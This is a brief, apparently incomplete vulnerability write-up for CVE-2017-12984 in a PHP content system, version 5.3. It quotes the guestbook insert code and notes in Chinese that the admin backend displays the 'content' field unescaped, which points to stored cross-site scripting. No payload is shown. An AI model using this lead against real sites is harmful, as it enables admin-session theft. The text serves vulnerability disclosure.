Exploit Author:小雨

Version:5.3
CVE:CVE-2017-12984


$r= $dosql->GetOne("SELECT Max(orderid) AS orderid FROM `#@__message`");
                $orderid= (empty($r['orderid']) ? 1 : ($r['orderid'] + 1));
                $nickname= htmlspecialchars($nickname);//游客(xxx)
                $contact= htmlspecialchars($contact); //联系方式
                $content= htmlspecialchars($content); //留言内容
                
                $posttime= GetMkTime(time());
                $ip= gethostbyname($_SERVER['REMOTE_ADDR']);
        
        
                $sql= "INSERT INTO `#@__message` (siteid, nickname, contact, content, orderid, posttime, htop, rtop, checkinfo, ip) VALUES (1, '$nickname', '$contact', '$content', '$orderid', '$posttime', '', '', 'false', '$ip')";
                if($dosql->ExecNoneQuery($sql))
                {
                        ShowMsg('留言成功，感谢您的支持！','message.php');
                        exit();
                }
        }
可以看出使用htmlspecialchars进行过滤,带入库中.
跟进content参数。

后台直接取出content参数,数据并未进行转义操作。
